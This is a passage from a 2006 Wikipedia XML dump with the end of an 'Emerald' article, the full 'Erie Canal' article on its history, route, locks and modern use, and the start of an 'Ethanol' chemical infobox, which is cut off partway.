'''Emerald''' (Be&lt;sub&gt;3&lt;/sub&gt;Al&lt;sub&gt;2&lt;/sub&gt;SiO&lt;sub&gt;6&lt;/sub&gt;) is a variety of the [[mineral]] [[beryl]], colored green by trace amounts of [[chromium]] and sometimes [[iron]].  It is highly prized as a [[gemstone]] and by weight is the most valuable gemstone in the world, often made less so by [[inclusion (mineral)|inclusions]], which all emeralds have.  Beryl has a [[hardness]] of 7.5 on the 10 point [[Mohs scale of mineral hardness|Mohs scale]] of hardness. However, this Mohs rating is often adversly affected and can decrease, depending on the number and severity of inclusions in a particular stone.  Many countries import emeralds, [[Colombia]] being the preeminent exporter of emeralds in the world.

Emeralds have a tendency to appear fuzzy, dull and more included on television or in pictures than they really are.

[[Image:Emerald.png|thumb|100px|left|Emerald showing its hexagonal structure]]
==Synthetic emerald==
Emerald is a rare and valuable gemstone and, as such, provided the incentive for developing synthetic emeralds. Both hydrothermal and ''flux-growth'' synthetics have been produced and a method has been developed for producing an emerald overgrowth on colorless beryl. Synthetic emeralds [[Fluorescence|fluoresce]] a dull red with long wave [[UV]] light due to an indicator added during the process of synthesizing the emerald, whereas natural specimens do not. Also both the [[specific gravity|specific gravities]] (natural: 2.70 - 2.78, synthetic: 2.66) and [[refractive index|refractive indices]] (natural: 1.576 - 1.582, synthetic: 1.565) of synthetics are slightly lower. Wispy inclusions are common in flux-grown synthetic emeralds.

==Culture and historical/mythical usage==
Emerald is regarded as the traditional [[Birthstone#Birthstones|birthstone]] for May. According to legend, the emerald has the power to protect the [[chastity]] of the wearer and to ward off evil spirits. Furthermore, it was used as a cure for [[epilepsy]] and [[dysentery]] as well as to aid weak eyesight.

According to [[Bahya_ben_Asher|Rebbenu Bachya]], the word &quot;Nofech&quot; in the verse [[Exodus]] 28:18 means &quot;Emerald&quot; and was the stone on the [[Ephod]] representing the tribe of [[Judah]]. 

In some cultures the emerald is the traditional gift for the 55th wedding anniversary. It is also used as the 20 and 35th wedding anniversary stone.

[[Image:Gachala Emerald.jpg|thumb|200px|right|The [[Gachala Emerald]] is one of the largest emeralds in the world at 858 carats. This stone was found in 1967 at Vega de San Juan mine in [[Colombia]]. It is currently on display at the [[National Museum of Natural History]].]]

== References ==
*Cooper, J.C. (Ed.) (1992). ''Brewer's Myth and Legend''. New York: Cassell Publishers Ltd. ISBN 0-304-34084-7.
*Sinkankas, John (1994). ''Emerald &amp; Other Beryls''. Geoscience Press. ISBN 0801971144
*Hurlbut, Cornelius S.; Klein, Cornelis (1985). ''Manual of Mineralogy'' (20th ed.). New York: John Wiley and Sons. ISBN 0471805807
*Weinstein, Michael (1958). ''The World of Jewel Stones''. Sheriden House.

[[Category:Beryllium minerals]]
[[Category:Aluminium minerals]]
[[Category:Silicate minerals]]
[[Category:Gemstones]]

[[ar:زمرد]]
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[[da:Smaragd]]
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[[es:Esmeralda]]
[[fr:Émeraude]]
[[he:ברקת]]
[[id:Zamrud]]
[[ja:エメラルド]]
[[lt:Smaragdas]]
[[nl:Smaragd]]
[[no:Smaragd]]
[[pl:Szmaragd]]
[[pt:Esmeralda]]
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[[zh:祖母綠]]</text>
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  <page>
    <title>Erie Canal</title>
    <id>10046</id>
    <revision>
      <id>41422884</id>
      <timestamp>2006-02-27T05:29:51Z</timestamp>
      <contributor>
        <username>Pollinator</username>
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      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.213.227.129|68.213.227.129]] ([[User talk:68.213.227.129|talk]]) to last version by 69.204.132.220</comment>
      <text xml:space="preserve">The '''Erie Canal''' (later replaced by part of the [[New York State Barge Canal]] system, which was renamed the Erie Canal) is a [[canal]] in [[New York State]], [[United States]], that runs from the [[Hudson River]] to [[Lake Erie]], connecting the [[Great Lakes (North America)|Great Lakes]] with the [[Atlantic Ocean]]. Although the canal was first proposed in 1699, it was not until 1798 that the Niagara Canal Company was incorporated and commenced preparations for building. The first section of canal was completed in 1819, and the entire canal was opened on [[October 26]], [[1825]]. It was 363 miles (584 km) long, 40 feet (12 m) wide, and 4 feet (1.2 m) deep. There were 83 [[Canal lock|locks]] along the canal, each 90 feet by 15 feet (27 m by 4.5 m). Maximum [[barge|canal-boat]] displacement was 75 tons (68 tonnes). The Erie Canal was the first transportation route faster than carts pulled by draft animals between the Eastern Seaboard of the [[United States]] and the western interior, and cut transport costs into what was then [[wilderness]] by about 95%. The Canal resulted in a massive population surge in western [[New York]], and opened regions further west to increased settlement.

[[Image:Erie Canal Map 1853.jpg|400px|thumb|1853 Map of the Erie Canal.]]

==Geopolitics==
&lt;div class=&quot;thumb tright&quot;&gt;&lt;div style=&quot;width:auto;&quot;&gt;
{| width=304
|[[Image:Water Level Route on US map.png|300px]]&lt;br&gt;[[Image:Water Level Route on US map cropped.png|300px]]&lt;div class=&quot;thumbcaption&quot;&gt;Map of the Water Level Routes of the New York Central Railroad (purple), [[West Shore Railroad]] (red) and [[Erie Canal]] (blue)&lt;/div&gt;
|}
&lt;/div&gt;&lt;/div&gt;

The [[Appalachian Mountains]] cut off the interior of [[North America]] from the Atlantic Ocean. At their northern end, the Appalachians connect with the equally formidable [[Canadian Shield]]. The [[Adirondack Mountains]] in northeastern New York state are actually an extension of the Canadian Shield although they are often seen as part of the Appalachians.

It was possible to use [[canoes]] and pack animals to bring light, high-value products like [[fur]]s from the interior to the [[Atlantic]] coast for export. However, the only way to economically move bulky low-value agricultural and timber products was by water. It was these latter products that formed the majority of North American exports until the 20th century. There are only four navigable water routes through or around the mountain barrier into the interior &amp;ndash; [[Hudson Bay]], the [[St. Lawrence River]], the [[Hudson River]] and the [[Mississippi River]]. Until the development of [[Rail transport|railroads]] in the middle of the 19th century, much of North American history revolved around the contest to control these routes.

In some ways, the Hudson River is the least attractive of these routes. Once past the mountains it ends in a cul-de-sac with no access to the rest of the Great Lakes Basin. The Erie Canal addressed this weakness by providing a route from the Hudson River to Lake Erie via the [[Mohawk River]] valley. Prior to the construction of the canal, the British colonies north of the Great Lakes expected to be major beneficiaries of the settlement of the American Midwest, since without the Erie Canal, produce from the Midwest would have flowed through the St. Lawrence River, and [[Montreal]], rather than [[New York, New York|New York]], would have become the great exporting and immigration center for North America.

Because the Great Lakes Basin has no great heights of land [[Continental divide|separating]] it from neighboring [[drainage basin]]s, access to the Great Lakes also provides access to other regions of North America. The early French access to the Great Lakes allowed them to become the first Europeans to explore the Mississippi River system. Today, the [[Chicago Sanitary and Ship Canal|Chicago Ship Canal]] allows ships to travel between the Great Lakes and the Mississippi River.

In the west, fur traders from Montreal were able to [[portage]] between the Great Lakes and the Hudson Bay drainage basin which extends all the way to the [[Rocky Mountains]]. From this drainage basin, other portages gave access to the [[Mackenzie River]] system. These two drainage basins effectively define the western and [[Alaska]]n borders between [[Canada]] and the United States.

== History ==

The extraordinary success of the [[Bridgewater Canal]] in Britain, completed in 1761 to connect a coal mine to [[Manchester]], led to a frenzy of canal building in England late in the 18th century.  The idea of a canal or artificially improved waterway to tie the east coast to the new western settlements was in the air—[[Cadwallader Colden]] first proposed using the Mohawk River valley in 1724.  [[George Washington]] led a serious effort to turn the [[Potomac River]] into a navigable link to the west, sinking substantial energy and capital into the Patowmack Company from 1784 until his death fifteen years later.  [[Christopher Colles]], who was familiar with the Bridgewater Canal, surveyed the Mohawk River valley and made a presentation to the New York state legislature in 1784 proposing a canal from Albany to [[Lake Ontario]]; the proposal drew considerable attention and some action, but the effort would ultimately come to nothing.  [[Gouverneur Morris]] and [[Elkanah Watson]] were other early proponents of a canal along the Mohawk, whose efforts lead to the creation of the Western Inland Lock Navigation Company, which took the first actual steps to improve navigation on the Mohawk; the company was to prove that private financing was inadequate for a task of such scope.

The canal proponent whose efforts would lead directly to the canal was the entrepreneurial [[Jesse Hawley]], who imagined being able to grow huge quantities of grain in the upstate [[New York]] plains (then largely unsettled) for sale on the [[Eastern Seaboard]]. However he went [[bankrupt]] trying to ship it to the coast, and while sitting in the [[Canandaigua (city), New York|Canandaigua]] debtors' prison he started pressing for the construction of a canal running along the [[Mohawk River]] valley. He had strong support from [[Joseph Ellicott]], the agent for the [[Holland Land Company]] in [[Batavia, New York|Batavia]]. Ellicott realized that a canal would add immense value to the land he was selling in the western part of the state. Ellicott later became the first canal commissioner.

The Mohawk River, a tributary to the Hudson, runs in a [[Ice age|glacial meltwater]] channel across the northern reaches of the Appalachians, separating them in New York State into the [[Catskills]] and [[Adirondacks]]. The Mohawk Valley was the only cut across the Appalachians north of [[Alabama]], and pointed almost directly from the already widely used [[Hudson River]] to the east, to either [[Lake Ontario]] or Lake Erie on the west. From there much of the interior and many settlements would be accessible on the lakes.

[[Image:1832 Erie Canal.jpg|thumb|center|600px|Profile of the original canal]]

The problem with this was that the land rises about 600 feet (183 m) from the Hudson River at [[Albany, New York]] to [[Lake Erie]]. Locks at the time could handle a change of up to 12 feet (3.5 m), so at least 50 locks would be required along the 360 mile canal. Any such canal would cost a fortune even today, but in [[1800]] such an undertaking was barely imaginable. President [[Thomas Jefferson|Jefferson]] thought the proposal was ridiculous and rejected it. Nevertheless Hawley managed to interest the governor, [[DeWitt Clinton]], and after surveying the plan went ahead.

The canal was to consist of a forty foot (12 m) wide, four foot (1.2 m) deep cut, with the removed soil being piled on the downhill side to form a walkway on that side. Barges, up to 3.5 feet (1.07 m) in draft, would be pulled by [[mule]]s on the walkway. When barges crossed there was a quick unhitching and re-hitching of the mule teams while the barges continued due to momentum. The sides of the cut would be lined with stone, while the bottom would be covered with [[clay]]. The stone work required hundreds of German [[Masonry|mason]]s to be brought in, who would later go on to build many of New York's famous buildings when the canal was completed.

[[Image:Erie Lock4083.jpg|thumb|right|250px|Stonework of Erie Canal lock (abandoned due to route change), Durhamville, New York]]

Construction began [[July 4]], [[1817]], at [[Rome, New York]]. The first 15 mile (24 km) section between Rome and [[Utica, New York|Utica]] opened two years later. At this rate the canal would not have been finished for another 30 years or so. The main problems were cutting the trees through miles of virgin forest, and moving the dirt, which was proving to be much slower than expected. Solutions were discovered, trees were pulled down with a rope thrown over the top of the tree and then winched down, and the stumps pulled out with a huge tripod-mounted winch. Mule-pulled carts were filled from much larger wheelbarrows to clear the dirt. A three-man team with mules could now build a mile long stretch in a year, meaning that the problem now was staffing.

The men who planned and oversaw construction were novices, both as surveyors and as engineers&amp;mdash; there ''were'' no civil engineers in the United States at the time.  James Geddes and Benjamin Wright who laid out the route were judges, who had gained experience in surveying in settling boundary disputes; Geddes had only used a surveying instrument for a few hours.  Canvass White was a 27-year-old amateur engineer, who talked Clinton into letting him go to Britain at his own expense to study the canal system there.  Nathan Roberts was a math teacher and land speculator.  Yet these men &quot;carried the Erie Canal up the Niagara escarpment at Lockport, maneuvered it onto a towering embankment to cross over Irondequoit creek, spanned the Genesee River for it on an awesome aqueduct, and carved a route for it out of the solid rock between Little Falls and Schenectady&amp;mdash;and all of those venturesome designs worked precisely as planned.&quot; (Bernstein, p. 381)

Construction continued at an increased rate as new workers arrived, but halted completely when the canal reached the [[Montezuma Marsh|Montezuma Swamp]] in [[1819]] at the outlet of [[Cayuga Lake]] west of [[Syracuse, New York]], when over 1000 workers died of swamp fevers. Work continued on the &quot;downhill&quot; side towards the Hudson, and when the swamp froze over in the winter, the crews all worked to complete the section right across the swamps. 

The middle section from [[Utica, New York|Utica]] to [[Salina, New York|Salina]] was completed in [[1820]], and traffic on that section started up directly. The eastern section of the canal, 250 miles (402 km) from [[Rochester, New York|Rochester]] to [[Albany, New York|Albany]], was opened on [[September 10]], [[1823]], to great fanfare; the 64-mile (103 km) north-south section from [[Watervliet, New York|Watervliet]] to [[Lake Champlain]] was declared open on the same date.

After Montezuma, the next obstacle was crossing the [[Niagara Escarpment]], an 80-foot (24 m) wall of hard dolomitic [[limestone]], in order to rise to the level of Lake Erie. The route followed the channel of a creek that had cut a ravine steeply down the escarpment, with five locks in a series, thus giving rise to the community of [[Lockport, New York]]. The final leg of the canal had to be cut as much as 30 feet (9 m) through another limestone layer, the [[Onondaga]] ridge. Much of that section was blasted with [[black powder]]. The inexperience of the crews often led to accidents, and sometimes rocks falling on nearby homes.

[[Image:ErieCanalAtNiagaraEscarp.jpg|thumb|right|250px|Original five step lock structure crossing the Niagara 
Escarpment at Lockport, now used as a cascade for excess water. Two modern 40 foot (12 meter) locks are to the left, replacing the original.]]

Two villages competed to be the terminus of the canal, [[Black Rock (NY)|Black Rock]], on the [[Niagara River]], and [[Buffalo, New York|Buffalo]], at the eastern tip of Lake Erie. Buffalo expended great energy to widen and deepen [[Buffalo Creek]] to make it navigable, and to create a harbor at its mouth. Buffalo won over Black Rock, and quickly grew into a great city, eventually swallowing its former competitor.

Work was completed in [[1825]]. Officially the event was celebrated by cannon shots along the length, and by Governor Clinton ceremonially pouring Lake Erie water into the New York Harbor in the &quot;Wedding of the Waters.&quot;

Problems developed but were quickly solved. Leaks developed along the entire length of the canal, but these were sealed with a newly invented [[concrete]] that hardened under water. Erosion on the clay bottom proved to be a problem and the speed was limited to 4 mph (6 km/h). The original design planned for an annual tonnage of 1.5 million tons (1.36 million tonnes), but this was exceeded immediately. A program to enlarge the canal, notably the locks, started only a year later.  This First Enlargement was completed in 1862, with further minor enlargements in later decades.  By [[1883]] the tolls on the canal had raised 121 million dollars, and all fees were waived for future use.

Concerns that erosion caused by logging in the [[Adirondack Mountains|Adirondacks]] could silt up the canal led to the creation of the [[Adirondack State Park|Adirondack Park]] in 1885.

Additional canals (called feeder canals) soon added to the coverage, including the Cayuga-Seneca south to the [[Finger Lakes]], the Oswego from Three Rivers north to [[Lake Ontario]] at [[Oswego, New York|Oswego]], and the Champlain running north from Troy to [[Lake Champlain]]. A short canal, the Crooked Lake Canal, from [[1833]] to [[1877]] connected [[Keuka Lake]] and [[Seneca Lake]]. The [[Chemung River|Chemung Canal]] connected the south end of Seneca Lake to [[Elmira, New York|Elmira]] in 1833, and was an important route for Pennsylvania coal and timber to be shipped throughout the canal system. The [[Chenango Canal]] in [[1836]] connected the Erie at [[Utica, New York|Utica]] to [[Binghamton, New York|Binghamton]] and caused a business boom in the [[Chenango River]] valley. The Chenango and Chemung canals linked the Erie with the [[Susquehanna River]] system. The [[Genesee Valley Canal]] was run along the [[Genesee River]] to connect with the [[Allegheny River]] at Olean, but the Allegheny section which would have connected to the Ohio and Mississippi was never built. The Genesee Valley Canal was later abandoned and became the [[Genesee Valley Canal Railroad]].

===The route===
The canal began on the west side of the [[Hudson River]] at [[Albany, New York|Albany]], and ran north to a split with the [[Champlain Canal]] at [[Troy, New York|Troy]]. At [[Cohoes, New York|Cohoes]] it turned west along the south shore of the [[Mohawk River]], crossing to the north side at [[Crescent, New York|Crescent]] and again to the south at [[Rexford Flats, New York|Rexford Flats]]. The canal continued west near the south shore of the Mohawk River all the way to [[Rome, New York|Rome]], where the Mohawk turns north.

At Rome, the canal continued west parallel to [[Wood Creek, New York|Wood Creek]], which flows from [[Oneida Lake]], and turned southwest and west cross-country to avoid the lake. From [[Canastota, New York|Canastota]] west it ran roughly along the north (lower) edge of the [[Niagara Escarpment]], passing through [[Syracuse, New York|Syracuse]] and [[Rochester, New York|Rochester]]. At [[Lockport, New York|Lockport]] the canal turned southwest to rise to the top of the escarpment, using the ravine of [[Eighteenmile Creek]]. The canal continued south-southwest to [[Pendleton, New York|Pendleton]], where it turned west and southwest, mainly using the channel of [[Tonawanda Creek]]. From [[Tonawanda, New York|Tonawanda]] south to [[Buffalo, New York|Buffalo]] it ran just east of the [[Niagara River]], emptying out into the river in downtown Buffalo.

===Competition===
As the canal brought travelers to [[New York City]], it took them from other ports such as [[Philadelphia, Pennsylvania]] and [[Baltimore, Maryland]]. Those cities and the states containing them chartered means of competition to the Erie Canal. In Pennsylvania, the [[Main Line of Public Works]] was a combined canal and railroad running west from Philadelphia to [[Pittsburgh (PA)|Pittsburgh]] on the [[Ohio River]], opened in [[1834]]. In Maryland, the [[Baltimore and Ohio Railroad]] ran west to [[Wheeling, West Virginia]], also on the Ohio River, and was completed in [[1853]].

Competition also came from inside New York State. The [[Mohawk and Hudson Railroad]] opened in [[1831]], providing a bypass to the slowest part of the canal between [[Albany (NY)|Albany]] and [[Schenectady (NY)|Schenectady]]. Other railroads were soon chartered and built to continue the line west to [[Buffalo, New York|Buffalo]], and in [[1842]] a continuous line (which would become the [[New York Central Railroad]] and its [[Auburn Road]] in [[1853]]) was open the whole way to Buffalo. As the railroad served the same general route as the canal, but provided for faster travel, passengers soon switched to it.  However as late as 1852, the canal carried thirteen times more freight tonnage than all the railroads in New York state, combined; it continued to compete well with the railroads through [[1882]], when tolls were abolished.

The [[New York, West Shore and Buffalo Railway]] was completed in [[1884]], as a route running closely parallel to both the canal and the New York Central Railroad. However it went [[bankrupt]] and was acquired the next year by the New York Central.

In [[1905]], construction of the [[New York State Barge Canal]] began, which was completed in [[1918]] at a cost of $101 million; freight traffic reached a total of 5.2 million tons by [[1951]] before declining in the face of combined rail and truck competition.

===Impact===
The Erie Canal made boom towns out of Buffalo, Rochester, Syracuse, Rome, Utica and Schenectady and made an immense contribution to the wealth and importance of New York City and New York state.  But its impact went much further—as it  increased trade throughout the nation by opening eastern markets to Midwest farm products and encouraged western immigration. New ethnic Irish communities formed in some towns along its route after completion, as Irish immigrants were a large portion of labor force involved in its construction. It also helped bind the still-new nation closer to Britain and Europe.  British repeal of the [[Corn Law]] resulted in a huge increase in trade in Midwestern wheat to Britain. Trade between the US and Canada also increased as a result of the corn law and a reciprocity (free-trade) agreement signed in [[1854]], much of this trade flowed along the Erie.

Its success also prompted imitation: a rash of canal building followed.  Also, the many technical hurdles that had to be overcome made heroes of those whose innovations made the canal possible; this would lead to an increased esteem for practical education. 

Many wrote about the canal, including [[Herman Melville]], [[Frances Trollope]], [[Nathaniel Hawthorne]], [[Harriet Beecher Stowe]], [[Mark Twain]], and the [[Marquis de Lafayette]], and many tales and songs were written about life on the canal.  The popular song [[Low Bridge]] by [[Thomas S. Allen]] was written in 1905 to memorialize the canal's early heyday, when barges were pulled by mules rather than engines.

==The Erie Canal today==
[[Image:Canal_tour_boat.jpg|thumb|right|300px|A commercial tour boat locks through Baldwinsville's Lock 24 on the Erie Canal.]]
[[Image:ErieCanalModernLock.jpg|thumb|right|250px|A modern lock at Lockport]]
[[Image:ErieCanalExchangeSt1.jpg|thumb|right|250px|Several [[lift bridge]]s cross the canal at Lockport, as well as the [[Main Street Bridge (Lockport)|Main Street Bridge]], once the [[widest bridge in the world]] ({{coor d|43.169309|N|78.695101|W|}})]]
[[Image:Pleasure_Boat_Canal.jpg|thumb|right|300px|Today, the Erie Canal is predominantly a pleasure boat paradise, linking the state and providing a tremendous opportunity for travel and leisure.]]

In [[1918]] the canal was replaced by the larger [[New York State Barge Canal]]. The new canal replaced much of the original route, and sought to 'canalize' rivers along the way that the original canal sought to avoid, such as the [[Mohawk River|Mohawk]], [[Seneca River (New York)|Seneca]] and [[Clyde River (New York)|Clyde River]]s, and [[Oneida Lake]].

The new alignment began on the [[Hudson River]] at the border between [[Cohoes (NY)|Cohoes]] and [[Waterford, New York|Waterford]], where it ran northwest cross-country with five locks, running into the [[Mohawk River]] east of [[Crescent, New York|Crescent]]. While the old canal ran next to the Mohawk River all the way to [[Rome (NY)|Rome]], the new canal generally ran through the river, straightened or widened where necessary. At [[Ilion (NY)|Ilion]] the new canal left the river for good, but continued to run on a new alignment parallel to both the river and the old canal to Rome. From Rome the new route continued almost due west, merging with [[Fish Creek (New York)|Fish Creek]] just east of its entry into [[Oneida Lake]].

On the west side of Oneida Lake, the new canal left along the [[Oneida River]], with cutoffs to shorten the route. At [[Three Rivers, New York|Three Rivers]] the Oneida River turns northwest, and was deepened for the [[Oswego Canal]] to [[Lake Ontario]]. The new Erie Canal turned south there along the [[Seneca River (New York)|Seneca River]], which turns west near [[Syracuse (NY)|Syracuse]] and continues west to a point in the [[Montezuma Marsh]] ({{coor d|43.00296|N|76.73115|W|}}). There the [[Cayuga and Seneca Canal]] continued south with the Seneca River, and the Erie Canal began to run once again parallel to the old canal along the bottom of the [[Niagara Escarpment]], in some places running along the [[Clyde River (New York)|Clyde River]], and in some places replacing the old canal. At [[Pittsford, New York|Pittsford]], southeast of [[Rochester (NY)|Rochester]], the canal turned west to run around the south side of Rochester, rather than through downtown, rejoining the old path near [[North Gates, New York|North Gates]]. From there it was again roughly an upgrade to the original canal, running west to [[Lockport (NY)|Lockport]] and southwest to [[Tonawanda (NY)|Tonawanda]], where the new alignment simply emptied into the [[Niagara River]].

Abandoned sections of the old Erie Canal were filled by most communities to create parks, recreational trails, and roads such as Erie Boulevard in [[Syracuse (NY)|Syracuse]], and Broad Street and the [[Rochester Subway]] in [[Rochester (NY)|Rochester]]. Some communities elected to keep their sections of the canal in the interest of historic preservation. 

Due to the growth of the highway system, railroads, and the [[Saint Lawrence Seaway]], commercial traffic on the canal declined dramatically during the second half of the twentieth century.  In the [[1990s]], a series of legislation renamed the [[New York State Barge Canal]] back to the Erie Canal, and its use was restricted to recreational traffic.  The Erie Canal is open to small craft and some larger vessels for most of the year.  During the winter, water is drained from parts of the canal, enabling repairs and maintenance.

Today the [[Erie Canal Corridor]] covers 524 miles (843 km) of navigable water from [[Lake Champlain]] to the [[Capital Region, New York|Capital Region]] and west to Lake Erie. The area has a population of 2.7 million, and it has been estimated that about 75% of upstate New York's population lives within 25 miles (40 km) of the Erie Canal.  The current New York State Canal System includes the Erie, [[Cayuga-Seneca Canal|Cayuga-Seneca]], [[Oswego Canal|Oswego]] and [[Champlain Canal]]s.

==Locks and Crossings==
The following [[lock (canal)|lock]]s and crossings are provided across the new canal, from east to west:
:There is no Lock 1, though the [[Troy Lock]] at the [[Federal Dam (Troy)|Federal Dam]] on the [[Hudson River]], south of the [[112th Street Bridge]], handles Erie Canal boats to [[New York City]]
*Bridge 1 ([[North Bridge (Waterford)|North Bridge]]), originally built by the [[Rensselaer and Saratoga Railroad]] ([[Delaware and Hudson Railway]]), at [[Waterford, New York|Waterford]]
*Bridge 2 ([[Fourth Street Bridge (Waterford)|Fourth Street Bridge]]) at Waterford
*[[Lock 2, Erie Canal|Lock 2]] and Bridge 2A at Waterford (of Waterford Flight)
*[[Lock 3, Erie Canal|Lock 3]] at Waterford (Waterford Flight)
*[[Bridge 3, Erie Canal|Bridge 3]] ([[Ninth Street Bridge (Waterford)|Ninth Street Bridge]]) at Waterford
*[[Lock 4, Erie Canal|Lock 4]] at Waterford (Waterford Flight)
*Bridge 4 on the [[Albany Northern Railroad]] ([[Delaware and Hudson Railway]]) at Waterford
*Bridges 4A-4D ([[flight locks]]) at Waterford
*[[Lock 5, Erie Canal|Lock 5]] at Waterford (Waterford Flight)
*[[Lock 6, Erie Canal|Lock 6]] at Waterford (Waterford Flight)
*[[Guard Gate 1, Erie Canal|Guard Gate 1]] at Waterford
*[[Guard Gate 2, Erie Canal|Guard Gate 2]] and Bridge 5 (Riberty Lane) at Waterford
*Bridge 6 ([[Crescent Bridge (Troy)|Crescent Bridge]]) at [[Crescent, New York|Crescent]]
*Bridge 7A on [[Interstate 87]] in [[Cohoes, New York|Cohoes]]
*[[Lock 7, Erie Canal|Lock 7]] and Bridge 7B in [[Schenectady (NY)|Schenectady]]
*[[Bridge 8, Erie Canal|Bridge 8]] (Rexford Bridge) at [[Rexford, New York|Rexford]]
*[[Bridge 10, Erie Canal|Bridge 10]] on the [[Saratoga and Schenectady Railroad]] ([[Delaware and Hudson Railway]]) in Schenectady
*Bridge 11 ([[Freeman's Bridge (Schenectady)|Freeman's Bridge]]) in Schenectady
*Bridge 12 on the [[New York Central Railroad]] ([[CSX]])
*Bridge 13 ([[Western Gateway Bridge]]) in Schenectady
*[[Lock 8, Erie Canal|Lock 8]] and Bridge 14 in [[Glenville (NY)|Glenville]]
*Bridge 14A on [[New York State Route 890]] in Glenville
*Bridge 15 on the [[Boston, Hoosac Tunnel and Western Railway]] ([[Guilford Rail System]]) in [[Rotterdam, New York|Rotterdam]]
*Lock 9 and Bridge 16 ([[State Route 103 Bridge]]) in Rotterdam
*Bridge 17 on the [[Hoffman's Connection]] ([[CSX]]) in Rotterdam
*Lock 10 and Bridge 18 at [[Cranesville, New York|Cranesville]]
*Bridge 19A ([[Amsterdam Bridge (New York)|Amsterdam Bridge]]) at [[Amsterdam (NY)|Amsterdam]]
*Lock 11 and Bridge 20 in Amsterdam
*Lock 12 and Bridge 22 ([[Fort Hunter Bridge]]) between [[Tribes Hill, New York|Tribes Hill]] and [[Fort Hunter, New York|Fort Hunter]]
*Bridge 23 ([[Fonda-Fultonville Bridge]]) between [[Fonda (NY)|Fonda]] and [[Fultonville, New York|Fultonville]]
*[[Lock 13, Erie Canal|Lock 13]] and Bridge 23A at [[Randall, New York|Randall]]
*Bridge 24 ([[Palatine Bridge]]) at [[Canajoharie (NY)|Canajoharie]]
*Lock 14 and Bridge 24B at Canajoharie
*Bridge 25 between [[Fort Plain (NY)|Fort Plain]] and [[Nelliston, New York|Nelliston]]
*Lock 15 and Bridge 25A at [[Fort Plain (NY)|Fort Plain]]
*Bridge 26A ([[St. Johnsville Bridge]]) at [[St. Johnsville, New York|St. Johnsville]]
*Lock 16 at [[Mindenville, New York|Mindenville]]
*Bridge 27 at Mindenville
*Bridge 28 west of Mindenville
*Guard Gate 3 at [[Indian Castle, New York|Indian Castle]]
*Bridge 29 at Indian Castle
*Former bridge at [[Fink Basin, New York|Fink Basin]]
*Bridge 30A at [[Little Falls, New York|Little Falls]]
*Lock 17 at Little Falls
*Bridge 32A at Little Falls
*Guard Gate 4 at Little Falls
*Former bridge at Little Falls (to [[Hansen Island (Little Falls)|Hansen Island]])
*Lock 18 at [[Jacksonburg, New York|Jacksonburg]]
*Bridge 34A at [[Herkimer (NY)|Herkimer]]
*Bridge 34B ([[New York State Thruway]]) at Herkimer
*Guard Gate 5 at Herkimer
*Bridge 36 at Herkimer
*Bridge 37A at [[Ilion (NY)|Ilion]]
*Bridge 38 at [[Frankfort, New York|Frankfort]]
*Bridge 39 at Frankfort
*Bridge 40 on the [[New York Central Railroad]] ([[CSX]]) west of Frankfort
*Lock 19 west of Frankfort
*Bridge 42 at [[West Schuyler, New York|West Schuyler]]
*Bridge 43 in [[Utica (NY)|Utica]]
*Bridge 44A in Utica
*Bridges 44B-44D ([[Interstate 790]]) in Utica
*Bridge 46 on the [[Black River and Utica Railroad]] ([[Mohawk, Adirondack and Northern Railroad]]) in Utica
*Bridge 47A in Utica
*Bridge 47B ([[New York State Thruway]]) in Utica
*Lock 20 at [[Careys Corners, New York|Careys Corners]]
*Bridge 48A at Careys Corners
*Bridge 49 at [[Oriskany (NY)|Oriskany]]
*Guard Gate 6 in [[Rome (NY)|Rome]]
*Bridge 50 on the [[New York Central Railroad]] ([[CSX]]) in Rome
(continuing the list of locks, other details available in the Bridge Height Tables below)
*Lock 21 in [[Rome, New York|Rome]]
*Lock 22 in [[Rome, New York|Rome]]
*[[Oneida Lake]]
*Lock 23 East of Oneida Lake
*Lock 24 in [[Baldwinsville, New York|Baldwinsville]]
*[[Cross Lake]]
*Lock 25 near [[Seneca Falls]]
*Lock 26 near [[Clyde, New York|Clyde]]
*Lock 27 in [[Lyons,New York|Lyons]]
*Lock 28A
*Lock 28B in [[Newark, New York|Newark]]
*Lock 29 in [[Palmyra, New York|Palmyra]]
*Lock 30 in [[Macedon, New York|Macedon]]
There is no Lock 31
*Lock 32 near [[Pittsford, New York|Pittsford]]
*Lock 33 near [[Rochester, New York]]
*[[Genesee River]]
*Lock 34 in [[Lockport, New York|Lockport]]
*Lock 35 in Lockport

{{expand list}}

==See also==
*[[List of canals in New York]]

==References==
*''Wedding of the Waters: The Erie Canal and the Making of a Great Nation'', by Peter L. Bernstein, New York : W.W. Norton, 2005, ISBN 0393052338.
*''The Artificial River: The Erie Canal and the Paradox of Progress, 1817-1862'', by Carol Sheriff, New York : Hill and Wang, 1996, ISBN 0809027534.
*[http://www.canals.state.ny.us/exvac/boating/bridgeheights.html Bridge Height Tables]

==External links==
*[http://www.ptny.org/canalway/ Canalway Trail]
*[http://www.eriecanal.org/ The Erie Canal]
*[http://www.canals.state.ny.us/ New York State Canals]
*[http://www.flickr.com/photos/upstateny/ Photos of historic Erie Canal structures]
*[http://www.flickr.com/photos/ohlhous/sets/1122986/comments/ Photos of historic Erie Canal Locks]
*[http://memory.loc.gov/learn/lessons/00/canal/aqueduct.html Photos of some Erie Canal aqueducts]

[[category:Erie Canal| ]]

[[de:Eriekanal]]
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[[pl:Erie (kanał)]]</text>
    </revision>
  </page>
  <page>
    <title>Ethanol</title>
    <id>10048</id>
    <revision>
      <id>42091727</id>
      <timestamp>2006-03-03T19:48:46Z</timestamp>
      <contributor>
        <username>GregRM</username>
        <id>547928</id>
      </contributor>
      <minor />
      <comment>/* As a fuel */ fixed spelling and other minor edits</comment>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text . --&gt;
{| class=&quot;infobox&quot;
! {{chembox header}} | {{PAGENAME}}
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Ethanol_-_Space_filling_model.png|200px|{{PAGENAME}}]]
|-
! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| Ethanol
|-
| Other names
| Ethyl alcohol,&lt;br /&gt;grain alcohol,&lt;br/&gt;hydroxyethane
|-
| [[Chemical formula|Molecular formula]]
| C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;O &lt;!-- C2H6O is standard that can be searched for - please do not change into C2H5OH --&gt;
|-
| [[Simplified molecular input line entry specification|SMILES]]
| CCO
|-
| [[Molar mass]]
| 46.07 g/mol
|-
| Appearance
| Colorless liquid
|-
| [[CAS registry number|CAS number]]
| [64-17-5]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
